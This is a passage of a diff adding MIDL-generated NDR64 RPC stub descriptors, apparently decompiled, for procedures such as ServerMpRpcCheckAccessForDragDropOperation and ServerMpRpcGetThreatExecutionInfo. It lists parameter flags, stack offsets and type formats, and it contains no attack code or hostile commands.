(NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_3370_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1497 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1662 + } +}; + +static const __midl_frag1659_t __midl_frag1659 = +{ +/* **Struct_3370_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1660 +}; + +static const __midl_frag1657_t __midl_frag1657 = +{ +/* Proc171_ServerMpRpcConveyUserChoiceForDlpNotificationEx */ + { + /* Proc171_ServerMpRpcConveyUserChoiceForDlpNotificationEx */ /* procedure Proc171_ServerMpRpcConveyUserChoiceForDlpNotificationEx */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 80 /* 0x50 */ , /* Stack size */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 9 /* 0x9 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1659, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2266, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2368, + { + /* arg_5 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2266, + { + /* arg_6 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2368, + { + /* arg_7 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag2367, + { + /* arg_8 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + } +}; + +static const __midl_frag1652_t __midl_frag1652 = +{ +/* Proc170_ServerMpRpcDlpDelegateEnforcement */ + { + /* Proc170_ServerMpRpcDlpDelegateEnforcement */ /* procedure Proc170_ServerMpRpcDlpDelegateEnforcement */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1645_t __midl_frag1645 = +{ +/* Proc169_ServerMpRpcReportClipboardOwner */ + { + /* Proc169_ServerMpRpcReportClipboardOwner */ /* procedure Proc169_ServerMpRpcReportClipboardOwner */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2164, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1641_t __midl_frag1641 = +{ +/* Struct_3640_t */ + { + /* Struct_3640_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3640_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */ + } +}; + +static const __midl_frag1640_t __midl_frag1640 = +{ +/* *Struct_3640_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1641 +}; + +static const __midl_frag1639_t __midl_frag1639 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } +}; + +static const __midl_frag1638_t __midl_frag1638 = +{ +/* union_3624 */ + { + /* union_3624 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1639, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag1640, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag1637_t __midl_frag1637 = +{ +/* Struct_3654_t */ + { + /* Struct_3654_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3654_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1638 + }, + { + /* Struct_3654_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1636_t __midl_frag1636 = +{ +/* *Struct_3654_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1637 +}; + +static const __midl_frag1635_t __midl_frag1635 = +{ +/* **Struct_3654_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1636 +}; + +static const __midl_frag1632_t __midl_frag1632 = +{ +/* Proc168_ServerMpRpcGetThreatExecutionInfo */ + { + /* Proc168_ServerMpRpcGetThreatExecutionInfo */ /* procedure Proc168_ServerMpRpcGetThreatExecutionInfo */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2164, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1635, + { + /* arg_3 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1621_t __midl_frag1621 = +{ +/* Proc167_ServerMpRpcSendBrowserHeartbeat */ + { + /* Proc167_ServerMpRpcSendBrowserHeartbeat */ /* procedure Proc167_ServerMpRpcSendBrowserHeartbeat */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 64 /* 0x40 */ , /* Stack size */ + (NDR64_UINT32) 32 /* 0x20 */, + (NDR64_UINT32) 80 /* 0x50 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 7 /* 0x7 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2164, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2164, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2367, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + } +}; + +static const __midl_frag1610_t __midl_frag1610 = +{ +/* Proc166_ServerMpRpcUpdateBrowserActiveTab */ + { + /* Proc166_ServerMpRpcUpdateBrowserActiveTab */ /* procedure Proc166_ServerMpRpcUpdateBrowserActiveTab */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 64 /* 0x40 */ , /* Stack size */ + (NDR64_UINT32) 24 /* 0x18 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 7 /* 0x7 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2364, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2368, + { + /* arg_5 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2367, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + } +}; + +static const __midl_frag1603_t __midl_frag1603 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 48 /* 0x30 */ /* Offset */ + } +}; + +static const __midl_frag1602_t __midl_frag1602 = +{ +/* *char */ + { + /* *char */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 0 /* 0x0 */, + { + /* *char */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag1603 + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 1 /* 0x1 */, + &__midl_frag2355 + } +}; + +static const __midl_frag1601_t __midl_frag1601 = +{ +/* *char */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1602 +}; + +static const __midl_frag1594_t __midl_frag1594 = +{ +/* Proc165_ServerMpRpcCheckAccessForDragDropOperation */ + { + /* Proc165_ServerMpRpcCheckAccessForDragDropOperation */ /* procedure Proc165_ServerMpRpcCheckAccessForDragDropOperation */ + (NDR64_UINT32) 19660864 /* 0x12c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */ + (NDR64_UINT32) 88 /* 0x58 */ , /* Stack size */ + (NDR64_UINT32) 64 /* 0x40 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 10 /* 0xa */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2164, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 